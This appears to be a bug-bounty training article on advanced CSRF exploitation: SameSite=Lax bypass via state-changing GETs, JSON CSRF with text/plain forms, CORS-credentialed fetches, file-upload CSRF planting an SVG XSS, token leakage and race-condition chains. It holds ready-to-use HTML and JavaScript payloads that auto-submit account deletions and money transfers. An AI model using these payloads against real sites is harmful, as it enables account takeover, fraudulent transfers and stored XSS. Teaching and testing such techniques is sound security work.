Intermediate levelWith account

CSRF advanced exploitation — SameSite bypass, JSON CSRF, Flash, file upload CSRF

Advanced CSRF techniques beyond the classic form submit: SameSite=Lax bypass via GET, JSON CSRF with Content-Type tricks, file upload CSRF and exploitation chains.

Gorka El BochiMay 11, 202615 min

Quick answer

CSRF "is dead" because Chrome made SameSite=Lax the default in 2020. But the bug class is still alive in 2026: SameSite=Lax allows cross-site GETs (any state-changing action implemented as a GET is exploitable), JSON CSRF works if the server accepts text/plain or bodies with a flexible Content-Type, and file upload CSRF is still the most profitable scenario when there is no anti-CSRF protection on multipart endpoints. Typical bounties: €500-€5,000+ when you chain with XSS or IDOR.


ModeCross-site behaviorDefault state
StrictThe cookie is not sent on any cross-site requestFew sites
LaxSent on a top-level GET (clicking a link)Chrome default since 2020
None; SecureAlways sent (requires HTTPS)Sites that need cross-site

Lax is the default — and it opens up the whole surface of state-changing GETs.


SameSite=Lax bypass via GET

If the app has GET endpoints that change state (a frequent anti-pattern in legacy apps and sometimes in sloppy "REST-ish" endpoints), Lax exposes them:

html
<!-- attacker.tld/exploit.html -->
<a id="bait" href="https://target.com/account/delete?confirm=1">Click here</a>
<script>document.getElementById('bait').click();</script>

The click triggers a top-level GET → the Lax cookie travels → the action executes.

Typical vulnerable endpoints

  • GET /logout (low impact but a classic)
  • GET /api/account/delete?id=X
  • GET /email/change?to=atacante@evil.tld
  • GET /password/reset/confirm?token=X
  • GET /follow?user=X, GET /like?post=X

Bypass via <form method="GET">

If the endpoint only accepts GET, a form submit also works — but the browser navigates top-level (target=_top), which is equally Lax-friendly.

html
<form action="https://target.com/account/delete" method="GET" id="f">
  <input type="hidden" name="confirm" value="1">
</form>
<script>document.getElementById('f').submit();</script>

[!warning] 2-minute Lax exception (Chrome) Chrome allows a cross-site top-level POST with Lax cookies during the first 2 minutes of the cookie's creation. If you force the victim to re-login (open redirect to OAuth, magic link, etc.) and your CSRF fires within <120s, the POST also works. Pattern documented in H1 reports with bounties €1500-€3000.


JSON CSRF — the bug that "doesn't exist"

The common narrative: "you can't do CSRF against a JSON endpoint because Content-Type: application/json requires a CORS preflight, and the attacker can't send preflights". False in 3 scenarios.

Scenario 1 — Server accepts bodies with a flexible Content-Type

The endpoint declares that it accepts JSON but parses any body. Send Content-Type: text/plain (which is "simple" — no preflight required) with a body that looks like JSON:

html
<form action="https://api.target.com/transfer" method="POST" enctype="text/plain">
  <input name='{"amount":1000,"to":"atacante","ignore":"' value='ignore"}'>
</form>
<script>document.forms[0].submit();</script>

The body ends up as {"amount":1000,"to":"atacante","ignore":"=ignore"} — the app parses the whole JSON and processes the transfer.

Scenario 2 — Server accepts application/json without verifying Origin/Referer

If the app has open CORS (Access-Control-Allow-Origin: * or a reflected origin) AND Access-Control-Allow-Credentials: true, a normal fetch sends the cookies:

javascript
fetch("https://api.target.com/transfer", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ amount: 1000, to: "atacante" })
});

This is CSRF + CORS misconfig — the preflight passes because the server accepts it.

Scenario 3 — Flash multipart (legacy but still findable)

In very legacy apps (that still support Flash or have reverse proxies with weird normalization), Content-Type: multipart/form-data can arrive as JSON at the backend if the parser inspects the body:

css
Content-Type: multipart/form-data; boundary=foo
--foo
{"amount":1000}
--foo--

Reverse proxy + backend with a lax parser → the body is interpreted as JSON.

<!-- PAYWALL -->

File upload CSRF — the most profitable scenario

Upload endpoints almost never use a CSRF token (because "you can't send multipart cross-origin without a preflight"). False since HTML5.

Multipart form from another origin

html
<!-- attacker.tld/exploit.html -->
<form action="https://target.com/api/upload" method="POST" enctype="multipart/form-data" id="f">
  <input type="file" name="file" id="i">
</form>
<script>
const file = new File([
  '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>'
], 'pwn.svg', { type: 'image/svg+xml' });

const dt = new DataTransfer();
dt.items.add(file);
document.getElementById('i').files = dt.files;
document.getElementById('f').submit();
</script>

If the endpoint:

  • Doesn't require a CSRF token
  • Serves the uploaded file on the same domain (target.com/uploads/...)
  • Doesn't restrict the file's real MIME

→ Stored XSS via CSRF + SVG. Typical bounty €1,500-€3,500.

Chain with avatar upload

Avatar upload + missing CSRF token + the avatar served same-origin = persistent stored XSS on the victim's profile.


CSRF token leakage

When there's a CSRF token, the next step is to leak it:

Via Referer

html
<!-- target.com/profile?token=ABCD -->
<a href="https://attacker.tld/track">Click</a>

The click sends Referer: https://target.com/profile?token=ABCD → the attacker reads the token from their logs. Correct fix: Referrer-Policy: strict-origin or no-referrer.

Via XSS on the same domain

XSS anywhere on the domain → fetch /api/csrf-token → you have the token → you fire an "authentic" CSRF. That's why XSS+CSRF protection doesn't protect against XSS.

Via cache poisoning

If the page with <meta name="csrf-token"> is cached by the CDN without varying per user → your cached token goes to the victim. Fix: Cache-Control: private or never cache pages with a token.

Via subdomain XSS

XSS on blog.target.com + cookies Domain=.target.com → your JS on the blog can read cookies with secret_token that apply to the main domain.


CSRF with SameSite=Strict — the holy grail

Strict blocks all cross-site cookies. Even so there are documented scenarios:

If you control *.target.com (subdomain takeover) and the cookie has Domain=.target.com, your controlled subdomain can send same-site requests (not cross-site) with the cookie. Strict doesn't protect.

Browser extension / cross-app injection

If the victim has an extension that injects your JS into target.com (XSS via extension, malware), the JS runs same-origin → bypassing Strict.

In some browsers/configs, auth redirects (302 from accounts.target.com/oauth?...) arrive at the target's callback with the Strict cookie — historically a documented bug class, partially patched in Chrome 90+. Still a scenario to test.


Chain CSRF + race condition (real €2400 bounty)

Pattern documented in financial programs: the "confirm transfer" endpoint validates the CSRF token but the logic has a race condition in the balance check.

less
VictimGET /transfer/form        (token CSRF emitido)
AttackerCSRF a la víctima con N requests paralelas del confirm
           Server: race condition entre [check balance] y [debit balance]N transferencias por el mismo balance

Single-packet attack (HTTP/2) + CSRF = a single victim interaction fires N simultaneous races.

[!success] Real bounty H1 booking marketplace program — CSRF + race on a coupon endpoint → coupon applied 12 times → refund above the original price. Reward $2,400 + chain bonus.


Incorrect CSRF token validation — patterns

Token accepted if empty

http
POST /api/transfer
X-CSRF-Token:          ← header presente pero vacío

The app checks "the header exists" but not "it has the correct value". Bypass.

Token accepted if absent

The app only validates if the header is present. Remove the header → the validation is skipped.

Global token shared across users

CSRF token derived from a global secret, not per-session. The attacker gets a token from their session and uses it in the victim's CSRF.

Token "verified" on GET but not on POST

The form generates a token and sends it on GET. The server verifies the token on GET (parsing the form) but the POST submit endpoint doesn't re-verify it.


Hunting checklist

  • Identify state-changing endpoints that accept GET — exploitable via Lax.
  • For POST: check the accepted Content-Type (does it accept text/plain or form-urlencoded?).
  • CORS misconfig + credentials → direct fetch with credentials:"include".
  • File upload endpoints — few have a CSRF token. Multipart cross-origin with DataTransfer.
  • CSRF token bypass: empty, absent, global, not re-validated.
  • Token leakage via Referer (missing Referrer-Policy), cache, subdomain XSS.
  • SameSite=Strict apps: try subdomain takeover + cookie Domain=.target.com.
  • 2-min Lax window: chain with an auth flow that re-issues cookies (OAuth callback).
  • Race conditions on top of CSRF — single-packet attack for chains.
  • Document impact: ATO, transfer, role change, public info exposure.

Practice SameSite bypass, JSON CSRF and file upload CSRF in CSRF labs.

Practice this in a lab

Csrf Explicado Completo

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

El chain CSRF + race condition que bypasea SameSite=Strict via top-level GET navigation — bounty €2400 en H1 program.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy